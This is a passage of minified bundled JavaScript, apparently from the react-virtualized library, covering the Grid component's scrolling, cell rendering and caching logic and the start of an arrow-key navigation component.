i=this._getOffsetPercentage({containerSize:t,offset:n,totalSize:r});return Math.round(i*(o-t))}},{key:"_safeOffsetToOffset",value:function(e){var t=e.containerSize,n=e.offset,r=this._cellSizeAndPositionManager.getTotalSize(),o=this.getTotalSize();if(r===o)return n;var i=this._getOffsetPercentage({containerSize:t,offset:n,totalSize:o});return Math.round(i*(r-t))}}]),e}();function jS(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t={};return function(n){var r=n.callback,o=n.indices,i=Object.keys(o),a=!e||i.every((function(e){var t=o[e];return Array.isArray(t)?t.length>0:t>=0})),l=i.length!==Object.keys(t).length||i.some((function(e){var n=t[e],r=o[e];return Array.isArray(r)?n.join(",")!==r.join(","):n!==r}));t=o,a&&l&&r(o)}}function LS(e){var t=e.cellSize,n=e.cellSizeAndPositionManager,r=e.previousCellsCount,o=e.previousCellSize,i=e.previousScrollToAlignment,a=e.previousScrollToIndex,l=e.previousSize,s=e.scrollOffset,u=e.scrollToAlignment,c=e.scrollToIndex,f=e.size,d=e.sizeJustIncreasedFromZero,p=e.updateScrollIndexCallback,h=n.getCellCount(),m=c>=0&&c<h;m&&(f!==l||d||!o||"number"==typeof t&&t!==o||u!==i||c!==a)?p(c):!m&&h>0&&(f<l||h<r)&&s>n.getTotalSize()-f&&p(h-1)}var IS,NS,DS,FS=n(98),BS=(IS="undefined"!=typeof window?window:"undefined"!=typeof self?self:{}).requestAnimationFrame||IS.webkitRequestAnimationFrame||IS.mozRequestAnimationFrame||IS.oRequestAnimationFrame||IS.msRequestAnimationFrame||function(e){return IS.setTimeout(e,1e3/60)},HS=IS.cancelAnimationFrame||IS.webkitCancelAnimationFrame||IS.mozCancelAnimationFrame||IS.oCancelAnimationFrame||IS.msCancelAnimationFrame||function(e){IS.clearTimeout(e)},VS=BS,zS=HS,US=function(e){return zS(e.id)},GS=function(e,t){var n;Promise.resolve().then((function(){n=Date.now()}));var r={id:VS((function o(){Date.now()-n>=t?e.call():r.id=VS(o)}))};return r};function WS(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function qS(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?WS(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):WS(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var ZS="observed",YS="requested",$S=(DS=NS=function(e){function t(e){var n;ue()(this,t),n=yS()(this,wS()(t).call(this,e)),pe()(SS()(n),"_onGridRenderedMemoizer",jS()),pe()(SS()(n),"_onScrollMemoizer",jS(!1)),pe()(SS()(n),"_deferredInvalidateColumnIndex",null),pe()(SS()(n),"_deferredInvalidateRowIndex",null),pe()(SS()(n),"_recomputeScrollLeftFlag",!1),pe()(SS()(n),"_recomputeScrollTopFlag",!1),pe()(SS()(n),"_horizontalScrollBarSize",0),pe()(SS()(n),"_verticalScrollBarSize",0),pe()(SS()(n),"_scrollbarPresenceChanged",!1),pe()(SS()(n),"_scrollingContainer",void 0),pe()(SS()(n),"_childrenToDisplay",void 0),pe()(SS()(n),"_columnStartIndex",void 0),pe()(SS()(n),"_columnStopIndex",void 0),pe()(SS()(n),"_rowStartIndex",void 0),pe()(SS()(n),"_rowStopIndex",void 0),pe()(SS()(n),"_renderedColumnStartIndex",0),pe()(SS()(n),"_renderedColumnStopIndex",0),pe()(SS()(n),"_renderedRowStartIndex",0),pe()(SS()(n),"_renderedRowStopIndex",0),pe()(SS()(n),"_initialScrollTop",void 0),pe()(SS()(n),"_initialScrollLeft",void 0),pe()(SS()(n),"_disablePointerEventsTimeoutId",void 0),pe()(SS()(n),"_styleCache",{}),pe()(SS()(n),"_cellCache",{}),pe()(SS()(n),"_debounceScrollEndedCallback",(function(){n._disablePointerEventsTimeoutId=null,n.setState({isScrolling:!1,needToResetStyleCache:!1})})),pe()(SS()(n),"_invokeOnGridRenderedHelper",(function(){var e=n.props.onSectionRendered;n._onGridRenderedMemoizer({callback:e,indices:{columnOverscanStartIndex:n._columnStartIndex,columnOverscanStopIndex:n._columnStopIndex,columnStartIndex:n._renderedColumnStartIndex,columnStopIndex:n._renderedColumnStopIndex,rowOverscanStartIndex:n._rowStartIndex,rowOverscanStopIndex:n._rowStopIndex,rowStartIndex:n._renderedRowStartIndex,rowStopIndex:n._renderedRowStopIndex}})})),pe()(SS()(n),"_setScrollingContainerRef",(function(e){n._scrollingContainer=e})),pe()(SS()(n),"_onScroll",(function(e){e.target===n._scrollingContainer&&n.handleScrollEvent(e.target)}));var r=new RS({cellCount:e.columnCount,cellSizeGetter:function(n){return t._wrapSizeGetter(e.columnWidth)(n)},estimatedCellSize:t._getEstimatedColumnSize(e)}),o=new RS({cellCount:e.rowCount,cellSizeGetter:function(n){return t._wrapSizeGetter(e.rowHeight)(n)},estimatedCellSize:t._getEstimatedRowSize(e)});return n.state={instanceProps:{columnSizeAndPositionManager:r,rowSizeAndPositionManager:o,prevColumnWidth:e.columnWidth,prevRowHeight:e.rowHeight,prevColumnCount:e.columnCount,prevRowCount:e.rowCount,prevIsScrolling:!0===e.isScrolling,prevScrollToColumn:e.scrollToColumn,prevScrollToRow:e.scrollToRow,scrollbarSize:0,scrollbarSizeMeasured:!1},isScrolling:!1,scrollDirectionHorizontal:1,scrollDirectionVertical:1,scrollLeft:0,scrollTop:0,scrollPositionChangeReason:null,needToResetStyleCache:!1},e.scrollToRow>0&&(n._initialScrollTop=n._getCalculatedScrollTop(e,n.state)),e.scrollToColumn>0&&(n._initialScrollLeft=n._getCalculatedScrollLeft(e,n.state)),n}return xS()(t,e),fe()(t,[{key:"getOffsetForCell",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.alignment,n=void 0===t?this.props.scrollToAlignment:t,r=e.columnIndex,o=void 0===r?this.props.scrollToColumn:r,i=e.rowIndex,a=void 0===i?this.props.scrollToRow:i,l=qS({},this.props,{scrollToAlignment:n,scrollToColumn:o,scrollToRow:a});return{scrollLeft:this._getCalculatedScrollLeft(l),scrollTop:this._getCalculatedScrollTop(l)}}},{key:"getTotalRowsHeight",value:function(){return this.state.instanceProps.rowSizeAndPositionManager.getTotalSize()}},{key:"getTotalColumnsWidth",value:function(){return this.state.instanceProps.columnSizeAndPositionManager.getTotalSize()}},{key:"handleScrollEvent",value:function(e){var t=e.scrollLeft,n=void 0===t?0:t,r=e.scrollTop,o=void 0===r?0:r;if(!(o<0)){this._debounceScrollEnded();var i=this.props,a=i.autoHeight,l=i.autoWidth,s=i.height,u=i.width,c=this.state.instanceProps,f=c.scrollbarSize,d=c.rowSizeAndPositionManager.getTotalSize(),p=c.columnSizeAndPositionManager.getTotalSize(),h=Math.min(Math.max(0,p-u+f),n),m=Math.min(Math.max(0,d-s+f),o);if(this.state.scrollLeft!==h||this.state.scrollTop!==m){var g={isScrolling:!0,scrollDirectionHorizontal:h!==this.state.scrollLeft?h>this.state.scrollLeft?1:-1:this.state.scrollDirectionHorizontal,scrollDirectionVertical:m!==this.state.scrollTop?m>this.state.scrollTop?1:-1:this.state.scrollDirectionVertical,scrollPositionChangeReason:ZS};a||(g.scrollTop=m),l||(g.scrollLeft=h),g.needToResetStyleCache=!1,this.setState(g)}this._invokeOnScrollMemoizer({scrollLeft:h,scrollTop:m,totalColumnsWidth:p,totalRowsHeight:d})}}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.columnIndex,n=e.rowIndex;this._deferredInvalidateColumnIndex="number"==typeof this._deferredInvalidateColumnIndex?Math.min(this._deferredInvalidateColumnIndex,t):t,this._deferredInvalidateRowIndex="number"==typeof this._deferredInvalidateRowIndex?Math.min(this._deferredInvalidateRowIndex,n):n}},{key:"measureAllCells",value:function(){var e=this.props,t=e.columnCount,n=e.rowCount,r=this.state.instanceProps;r.columnSizeAndPositionManager.getSizeAndPositionOfCell(t-1),r.rowSizeAndPositionManager.getSizeAndPositionOfCell(n-1)}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r,i=this.props,a=i.scrollToColumn,l=i.scrollToRow,s=this.state.instanceProps;s.columnSizeAndPositionManager.resetCell(n),s.rowSizeAndPositionManager.resetCell(o),this._recomputeScrollLeftFlag=a>=0&&(1===this.state.scrollDirectionHorizontal?n<=a:n>=a),this._recomputeScrollTopFlag=l>=0&&(1===this.state.scrollDirectionVertical?o<=l:o>=l),this._styleCache={},this._cellCache={},this.forceUpdate()}},{key:"scrollToCell",value:function(e){var t=e.columnIndex,n=e.rowIndex,r=this.props.columnCount,o=this.props;r>1&&void 0!==t&&this._updateScrollLeftForScrollToColumn(qS({},o,{scrollToColumn:t})),void 0!==n&&this._updateScrollTopForScrollToRow(qS({},o,{scrollToRow:n}))}},{key:"componentDidMount",value:function(){var e=this.props,n=e.getScrollbarSize,r=e.height,o=e.scrollLeft,i=e.scrollToColumn,a=e.scrollTop,l=e.scrollToRow,s=e.width,u=this.state.instanceProps;if(this._initialScrollTop=0,this._initialScrollLeft=0,this._handleInvalidatedGridSize(),u.scrollbarSizeMeasured||this.setState((function(e){var t=qS({},e,{needToResetStyleCache:!1});return t.instanceProps.scrollbarSize=n(),t.instanceProps.scrollbarSizeMeasured=!0,t})),"number"==typeof o&&o>=0||"number"==typeof a&&a>=0){var c=t._getScrollToPositionStateUpdate({prevState:this.state,scrollLeft:o,scrollTop:a});c&&(c.needToResetStyleCache=!1,this.setState(c))}this._scrollingContainer&&(this._scrollingContainer.scrollLeft!==this.state.scrollLeft&&(this._scrollingContainer.scrollLeft=this.state.scrollLeft),this._scrollingContainer.scrollTop!==this.state.scrollTop&&(this._scrollingContainer.scrollTop=this.state.scrollTop));var f=r>0&&s>0;i>=0&&f&&this._updateScrollLeftForScrollToColumn(),l>=0&&f&&this._updateScrollTopForScrollToRow(),this._invokeOnGridRenderedHelper(),this._invokeOnScrollMemoizer({scrollLeft:o||0,scrollTop:a||0,totalColumnsWidth:u.columnSizeAndPositionManager.getTotalSize(),totalRowsHeight:u.rowSizeAndPositionManager.getTotalSize()}),this._maybeCallOnScrollbarPresenceChange()}},{key:"componentDidUpdate",value:function(e,t){var n=this,r=this.props,o=r.autoHeight,i=r.autoWidth,a=r.columnCount,l=r.height,s=r.rowCount,u=r.scrollToAlignment,c=r.scrollToColumn,f=r.scrollToRow,d=r.width,p=this.state,h=p.scrollLeft,m=p.scrollPositionChangeReason,g=p.scrollTop,v=p.instanceProps;this._handleInvalidatedGridSize();var y=a>0&&0===e.columnCount||s>0&&0===e.rowCount;m===YS&&(!i&&h>=0&&(h!==this._scrollingContainer.scrollLeft||y)&&(this._scrollingContainer.scrollLeft=h),!o&&g>=0&&(g!==this._scrollingContainer.scrollTop||y)&&(this._scrollingContainer.scrollTop=g));var b=(0===e.width||0===e.height)&&l>0&&d>0;if(this._recomputeScrollLeftFlag?(this._recomputeScrollLeftFlag=!1,this._updateScrollLeftForScrollToColumn(this.props)):LS({cellSizeAndPositionManager:v.columnSizeAndPositionManager,previousCellsCount:e.columnCount,previousCellSize:e.columnWidth,previousScrollToAlignment:e.scrollToAlignment,previousScrollToIndex:e.scrollToColumn,previousSize:e.width,scrollOffset:h,scrollToAlignment:u,scrollToIndex:c,size:d,sizeJustIncreasedFromZero:b,updateScrollIndexCallback:function(){return n._updateScrollLeftForScrollToColumn(n.props)}}),this._recomputeScrollTopFlag?(this._recomputeScrollTopFlag=!1,this._updateScrollTopForScrollToRow(this.props)):LS({cellSizeAndPositionManager:v.rowSizeAndPositionManager,previousCellsCount:e.rowCount,previousCellSize:e.rowHeight,previousScrollToAlignment:e.scrollToAlignment,previousScrollToIndex:e.scrollToRow,previousSize:e.height,scrollOffset:g,scrollToAlignment:u,scrollToIndex:f,size:l,sizeJustIncreasedFromZero:b,updateScrollIndexCallback:function(){return n._updateScrollTopForScrollToRow(n.props)}}),this._invokeOnGridRenderedHelper(),h!==t.scrollLeft||g!==t.scrollTop){var w=v.rowSizeAndPositionManager.getTotalSize(),E=v.columnSizeAndPositionManager.getTotalSize();this._invokeOnScrollMemoizer({scrollLeft:h,scrollTop:g,totalColumnsWidth:E,totalRowsHeight:w})}this._maybeCallOnScrollbarPresenceChange()}},{key:"componentWillUnmount",value:function(){this._disablePointerEventsTimeoutId&&US(this._disablePointerEventsTimeoutId)}},{key:"render",value:function(){var e=this.props,t=e.autoContainerWidth,n=e.autoHeight,r=e.autoWidth,o=e.className,i=e.containerProps,a=e.containerRole,s=e.containerStyle,u=e.height,c=e.id,f=e.noContentRenderer,d=e.role,p=e.style,h=e.tabIndex,m=e.width,g=this.state,v=g.instanceProps,y=g.needToResetStyleCache,b=this._isScrolling(),w={boxSizing:"border-box",direction:"ltr",height:n?"auto":u,position:"relative",width:r?"auto":m,WebkitOverflowScrolling:"touch",willChange:"transform"};y&&(this._styleCache={}),this.state.isScrolling||this._resetStyleCache(),this._calculateChildrenToRender(this.props,this.state);var E=v.columnSizeAndPositionManager.getTotalSize(),S=v.rowSizeAndPositionManager.getTotalSize(),C=S>u?v.scrollbarSize:0,x=E>m?v.scrollbarSize:0;x===this._horizontalScrollBarSize&&C===this._verticalScrollBarSize||(this._horizontalScrollBarSize=x,this._verticalScrollBarSize=C,this._scrollbarPresenceChanged=!0),w.overflowX=E+C<=m?"hidden":"auto",w.overflowY=S+x<=u?"hidden":"auto";var O=this._childrenToDisplay,A=0===O.length&&u>0&&m>0;return l.createElement("div",_S()({ref:this._setScrollingContainerRef},i,{"aria-label":this.props["aria-label"],"aria-readonly":this.props["aria-readonly"],className:Object(TS.default)("ReactVirtualized__Grid",o),id:c,onScroll:this._onScroll,role:d,style:qS({},w,{},p),tabIndex:h}),O.length>0&&l.createElement("div",{className:"ReactVirtualized__Grid__innerScrollContainer",role:a,style:qS({width:t?"auto":E,height:S,maxWidth:E,maxHeight:S,overflow:"hidden",pointerEvents:b?"none":"",position:"relative"},s)},O),A&&f())}},{key:"_calculateChildrenToRender",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,n=e.cellRenderer,r=e.cellRangeRenderer,o=e.columnCount,i=e.deferredMeasurementCache,a=e.height,l=e.overscanColumnCount,s=e.overscanIndicesGetter,u=e.overscanRowCount,c=e.rowCount,f=e.width,d=e.isScrollingOptOut,p=t.scrollDirectionHorizontal,h=t.scrollDirectionVertical,m=t.instanceProps,g=this._initialScrollTop>0?this._initialScrollTop:t.scrollTop,v=this._initialScrollLeft>0?this._initialScrollLeft:t.scrollLeft,y=this._isScrolling(e,t);if(this._childrenToDisplay=[],a>0&&f>0){var b=m.columnSizeAndPositionManager.getVisibleCellRange({containerSize:f,offset:v}),w=m.rowSizeAndPositionManager.getVisibleCellRange({containerSize:a,offset:g}),E=m.columnSizeAndPositionManager.getOffsetAdjustment({containerSize:f,offset:v}),S=m.rowSizeAndPositionManager.getOffsetAdjustment({containerSize:a,offset:g});this._renderedColumnStartIndex=b.start,this._renderedColumnStopIndex=b.stop,this._renderedRowStartIndex=w.start,this._renderedRowStopIndex=w.stop;var C=s({direction:"horizontal",cellCount:o,overscanCellsCount:l,scrollDirection:p,startIndex:"number"==typeof b.start?b.start:0,stopIndex:"number"==typeof b.stop?b.stop:-1}),x=s({direction:"vertical",cellCount:c,overscanCellsCount:u,scrollDirection:h,startIndex:"number"==typeof w.start?w.start:0,stopIndex:"number"==typeof w.stop?w.stop:-1}),O=C.overscanStartIndex,A=C.overscanStopIndex,_=x.overscanStartIndex,T=x.overscanStopIndex;if(i){if(!i.hasFixedHeight())for(var k=_;k<=T;k++)if(!i.has(k,0)){O=0,A=o-1;break}if(!i.hasFixedWidth())for(var P=O;P<=A;P++)if(!i.has(0,P)){_=0,T=c-1;break}}this._childrenToDisplay=r({cellCache:this._cellCache,cellRenderer:n,columnSizeAndPositionManager:m.columnSizeAndPositionManager,columnStartIndex:O,columnStopIndex:A,deferredMeasurementCache:i,horizontalOffsetAdjustment:E,isScrolling:y,isScrollingOptOut:d,parent:this,rowSizeAndPositionManager:m.rowSizeAndPositionManager,rowStartIndex:_,rowStopIndex:T,scrollLeft:v,scrollTop:g,styleCache:this._styleCache,verticalOffsetAdjustment:S,visibleColumnIndices:b,visibleRowIndices:w}),this._columnStartIndex=O,this._columnStopIndex=A,this._rowStartIndex=_,this._rowStopIndex=T}}},{key:"_debounceScrollEnded",value:function(){var e=this.props.scrollingResetTimeInterval;this._disablePointerEventsTimeoutId&&US(this._disablePointerEventsTimeoutId),this._disablePointerEventsTimeoutId=GS(this._debounceScrollEndedCallback,e)}},{key:"_handleInvalidatedGridSize",value:function(){if("number"==typeof this._deferredInvalidateColumnIndex&&"number"==typeof this._deferredInvalidateRowIndex){var e=this._deferredInvalidateColumnIndex,t=this._deferredInvalidateRowIndex;this._deferredInvalidateColumnIndex=null,this._deferredInvalidateRowIndex=null,this.recomputeGridSize({columnIndex:e,rowIndex:t})}}},{key:"_invokeOnScrollMemoizer",value:function(e){var t=this,n=e.scrollLeft,r=e.scrollTop,o=e.totalColumnsWidth,i=e.totalRowsHeight;this._onScrollMemoizer({callback:function(e){var n=e.scrollLeft,r=e.scrollTop,a=t.props,l=a.height;(0,a.onScroll)({clientHeight:l,clientWidth:a.width,scrollHeight:i,scrollLeft:n,scrollTop:r,scrollWidth:o})},indices:{scrollLeft:n,scrollTop:r}})}},{key:"_isScrolling",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return Object.hasOwnProperty.call(e,"isScrolling")?Boolean(e.isScrolling):Boolean(t.isScrolling)}},{key:"_maybeCallOnScrollbarPresenceChange",value:function(){if(this._scrollbarPresenceChanged){var e=this.props.onScrollbarPresenceChange;this._scrollbarPresenceChanged=!1,e({horizontal:this._horizontalScrollBarSize>0,size:this.state.instanceProps.scrollbarSize,vertical:this._verticalScrollBarSize>0})}}},{key:"scrollToPosition",value:function(e){var n=e.scrollLeft,r=e.scrollTop,o=t._getScrollToPositionStateUpdate({prevState:this.state,scrollLeft:n,scrollTop:r});o&&(o.needToResetStyleCache=!1,this.setState(o))}},{key:"_getCalculatedScrollLeft",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return t._getCalculatedScrollLeft(e,n)}},{key:"_updateScrollLeftForScrollToColumn",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,r=t._getScrollLeftForScrollToColumnStateUpdate(e,n);r&&(r.needToResetStyleCache=!1,this.setState(r))}},{key:"_getCalculatedScrollTop",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state;return t._getCalculatedScrollTop(e,n)}},{key:"_resetStyleCache",value:function(){var e=this._styleCache,t=this._cellCache,n=this.props.isScrollingOptOut;this._cellCache={},this._styleCache={};for(var r=this._rowStartIndex;r<=this._rowStopIndex;r++)for(var o=this._columnStartIndex;o<=this._columnStopIndex;o++){var i="".concat(r,"-").concat(o);this._styleCache[i]=e[i],n&&(this._cellCache[i]=t[i])}}},{key:"_updateScrollTopForScrollToRow",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.props,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.state,r=t._getScrollTopForScrollToRowStateUpdate(e,n);r&&(r.needToResetStyleCache=!1,this.setState(r))}}],[{key:"getDerivedStateFromProps",value:function(e,n){var r={};0===e.columnCount&&0!==n.scrollLeft||0===e.rowCount&&0!==n.scrollTop?(r.scrollLeft=0,r.scrollTop=0):(e.scrollLeft!==n.scrollLeft&&e.scrollToColumn<0||e.scrollTop!==n.scrollTop&&e.scrollToRow<0)&&Object.assign(r,t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}));var o,i,a=n.instanceProps;return r.needToResetStyleCache=!1,e.columnWidth===a.prevColumnWidth&&e.rowHeight===a.prevRowHeight||(r.needToResetStyleCache=!0),a.columnSizeAndPositionManager.configure({cellCount:e.columnCount,estimatedCellSize:t._getEstimatedColumnSize(e),cellSizeGetter:t._wrapSizeGetter(e.columnWidth)}),a.rowSizeAndPositionManager.configure({cellCount:e.rowCount,estimatedCellSize:t._getEstimatedRowSize(e),cellSizeGetter:t._wrapSizeGetter(e.rowHeight)}),0!==a.prevColumnCount&&0!==a.prevRowCount||(a.prevColumnCount=0,a.prevRowCount=0),e.autoHeight&&!1===e.isScrolling&&!0===a.prevIsScrolling&&Object.assign(r,{isScrolling:!1}),kS({cellCount:a.prevColumnCount,cellSize:"number"==typeof a.prevColumnWidth?a.prevColumnWidth:null,computeMetadataCallback:function(){return a.columnSizeAndPositionManager.resetCell(0)},computeMetadataCallbackProps:e,nextCellsCount:e.columnCount,nextCellSize:"number"==typeof e.columnWidth?e.columnWidth:null,nextScrollToIndex:e.scrollToColumn,scrollToIndex:a.prevScrollToColumn,updateScrollOffsetForScrollToIndex:function(){o=t._getScrollLeftForScrollToColumnStateUpdate(e,n)}}),kS({cellCount:a.prevRowCount,cellSize:"number"==typeof a.prevRowHeight?a.prevRowHeight:null,computeMetadataCallback:function(){return a.rowSizeAndPositionManager.resetCell(0)},computeMetadataCallbackProps:e,nextCellsCount:e.rowCount,nextCellSize:"number"==typeof e.rowHeight?e.rowHeight:null,nextScrollToIndex:e.scrollToRow,scrollToIndex:a.prevScrollToRow,updateScrollOffsetForScrollToIndex:function(){i=t._getScrollTopForScrollToRowStateUpdate(e,n)}}),a.prevColumnCount=e.columnCount,a.prevColumnWidth=e.columnWidth,a.prevIsScrolling=!0===e.isScrolling,a.prevRowCount=e.rowCount,a.prevRowHeight=e.rowHeight,a.prevScrollToColumn=e.scrollToColumn,a.prevScrollToRow=e.scrollToRow,a.scrollbarSize=e.getScrollbarSize(),void 0===a.scrollbarSize?(a.scrollbarSizeMeasured=!1,a.scrollbarSize=0):a.scrollbarSizeMeasured=!0,r.instanceProps=a,qS({},r,{},o,{},i)}},{key:"_getEstimatedColumnSize",value:function(e){return"number"==typeof e.columnWidth?e.columnWidth:e.estimatedColumnSize}},{key:"_getEstimatedRowSize",value:function(e){return"number"==typeof e.rowHeight?e.rowHeight:e.estimatedRowSize}},{key:"_getScrollToPositionStateUpdate",value:function(e){var t=e.prevState,n=e.scrollLeft,r=e.scrollTop,o={scrollPositionChangeReason:YS};return"number"==typeof n&&n>=0&&(o.scrollDirectionHorizontal=n>t.scrollLeft?1:-1,o.scrollLeft=n),"number"==typeof r&&r>=0&&(o.scrollDirectionVertical=r>t.scrollTop?1:-1,o.scrollTop=r),"number"==typeof n&&n>=0&&n!==t.scrollLeft||"number"==typeof r&&r>=0&&r!==t.scrollTop?o:{}}},{key:"_wrapSizeGetter",value:function(e){return"function"==typeof e?e:function(){return e}}},{key:"_getCalculatedScrollLeft",value:function(e,t){var n=e.columnCount,r=e.height,o=e.scrollToAlignment,i=e.scrollToColumn,a=e.width,l=t.scrollLeft,s=t.instanceProps;if(n>0){var u=n-1,c=i<0?u:Math.min(u,i),f=s.rowSizeAndPositionManager.getTotalSize(),d=s.scrollbarSizeMeasured&&f>r?s.scrollbarSize:0;return s.columnSizeAndPositionManager.getUpdatedOffsetForIndex({align:o,containerSize:a-d,currentOffset:l,targetIndex:c})}return 0}},{key:"_getScrollLeftForScrollToColumnStateUpdate",value:function(e,n){var r=n.scrollLeft,o=t._getCalculatedScrollLeft(e,n);return"number"==typeof o&&o>=0&&r!==o?t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:o,scrollTop:-1}):{}}},{key:"_getCalculatedScrollTop",value:function(e,t){var n=e.height,r=e.rowCount,o=e.scrollToAlignment,i=e.scrollToRow,a=e.width,l=t.scrollTop,s=t.instanceProps;if(r>0){var u=r-1,c=i<0?u:Math.min(u,i),f=s.columnSizeAndPositionManager.getTotalSize(),d=s.scrollbarSizeMeasured&&f>a?s.scrollbarSize:0;return s.rowSizeAndPositionManager.getUpdatedOffsetForIndex({align:o,containerSize:n-d,currentOffset:l,targetIndex:c})}return 0}},{key:"_getScrollTopForScrollToRowStateUpdate",value:function(e,n){var r=n.scrollTop,o=t._getCalculatedScrollTop(e,n);return"number"==typeof o&&o>=0&&r!==o?t._getScrollToPositionStateUpdate({prevState:n,scrollLeft:-1,scrollTop:o}):{}}}]),t}(l.PureComponent),pe()(NS,"propTypes",null),DS);pe()($S,"defaultProps",{"aria-label":"grid","aria-readonly":!0,autoContainerWidth:!1,autoHeight:!1,autoWidth:!1,cellRangeRenderer:function(e){for(var t=e.cellCache,n=e.cellRenderer,r=e.columnSizeAndPositionManager,o=e.columnStartIndex,i=e.columnStopIndex,a=e.deferredMeasurementCache,l=e.horizontalOffsetAdjustment,s=e.isScrolling,u=e.isScrollingOptOut,c=e.parent,f=e.rowSizeAndPositionManager,d=e.rowStartIndex,p=e.rowStopIndex,h=e.styleCache,m=e.verticalOffsetAdjustment,g=e.visibleColumnIndices,v=e.visibleRowIndices,y=[],b=r.areOffsetsAdjusted()||f.areOffsetsAdjusted(),w=!s&&!b,E=d;E<=p;E++)for(var S=f.getSizeAndPositionOfCell(E),C=o;C<=i;C++){var x=r.getSizeAndPositionOfCell(C),O=C>=g.start&&C<=g.stop&&E>=v.start&&E<=v.stop,A="".concat(E,"-").concat(C),_=void 0;w&&h[A]?_=h[A]:a&&!a.has(E,C)?_={height:"auto",left:0,position:"absolute",top:0,width:"auto"}:(_={height:S.size,left:x.offset+l,position:"absolute",top:S.offset+m,width:x.size},h[A]=_);var T={columnIndex:C,isScrolling:s,isVisible:O,key:A,parent:c,rowIndex:E,style:_},k=void 0;!u&&!s||l||m?k=n(T):(t[A]||(t[A]=n(T)),k=t[A]),null!=k&&!1!==k&&y.push(k)}return y},containerRole:"rowgroup",containerStyle:{},estimatedColumnSize:100,estimatedRowSize:30,getScrollbarSize:FS.default,noContentRenderer:function(){return null},onScroll:function(){},onScrollbarPresenceChange:function(){},onSectionRendered:function(){},overscanColumnCount:0,overscanIndicesGetter:function(e){var t=e.cellCount,n=e.overscanCellsCount,r=e.scrollDirection,o=e.startIndex,i=e.stopIndex;return 1===r?{overscanStartIndex:Math.max(0,o),overscanStopIndex:Math.min(t-1,i+n)}:{overscanStartIndex:Math.max(0,o-n),overscanStopIndex:Math.min(t-1,i)}},overscanRowCount:10,role:"grid",scrollingResetTimeInterval:150,scrollToAlignment:"auto",scrollToColumn:-1,scrollToRow:-1,style:{},tabIndex:0,isScrollingOptOut:!1}),Object(OS.polyfill)($S);var KS=$S;function XS(e){var t=e.cellCount,n=e.overscanCellsCount,r=e.scrollDirection,o=e.startIndex,i=e.stopIndex;return n=Math.max(1,n),1===r?{overscanStartIndex:Math.max(0,o-1),overscanStopIndex:Math.min(t-1,i+n)}:{overscanStartIndex:Math.max(0,o-n),overscanStopIndex:Math.min(t-1,i+1)}}var QS,JS;function eC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}var tC=(JS=QS=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"state",{scrollToColumn:0,scrollToRow:0,instanceProps:{prevScrollToColumn:0,prevScrollToRow:0}}),pe()(SS()(n),"_columnStartIndex",0),pe()(SS()(n),"_columnStopIndex",0),pe()(SS()(n),"_rowStartIndex",0),pe()(SS()(n),"_rowStopIndex",0),pe()(SS()(n),"_onKeyDown",(function(e){var t=n.props,r=t.columnCount,o=t.disabled,i=t.mode,a=t.rowCount;if(!o){var l=n._getScrollState(),s=l.scrollToColumn,u=l.scrollToRow,c=n._getScrollState(),f=c.scrollToColumn,d=c.scrollToRow;switch(e.key){case"ArrowDown":d="cells"===i?Math.min(d+1,a-1):Math.min(n._rowStopIndex+1,a-1);break;case"ArrowLeft":f="cells"===i?Math.max(f-1,0):Math.max(n._columnStartIndex-1,0);break;case"ArrowRight":f="cells"===i?Math.min(f+1,r-1):Math.min(n._columnStopIndex+1,r-1);break;case"ArrowUp":d="cells"===i?Math.max(d-1,0):Math.max(n._rowStartIndex-1,0)}f===s&&d===u||(e.preventDefault(),n._updateScrollState({scrollToColumn:f,scrollToRow:d}))}})),pe()(SS()(n),"_onSectionRendered",(function(e){var t=e.columnStartIndex,r=e.columnStopIndex,o=e.rowStartIndex,i=e.rowStopIndex;n._columnStartIndex=t,n._columnStopIndex=r,n._rowStartIndex=o,n._rowStopIndex=i})),n}return xS()(t,e),fe()(t,[{key:"setScrollIndexes",value:function(e){var t=e.scrollToColumn,n=e.scrollToRow;this.setState({scrollToRow:n,scrollToColumn:t})}},{key:"render",value:function(){var e=this.props,t=e.className,n=e.children,r=this._getScrollState(),o=r.scrollToColumn,i=r.scrollToRow;return l.createElement("div",{className:t,onKeyDown:this._onKeyDown},n({onSectionRendered:this._onSectionRendered,scrollToColumn:o,scrollToRow:i}))}},{key:"_getScrollState",value:function(){return this.props.isControlled?this.props:this.state}},{key:"_updateScrollState",value:function(e){var 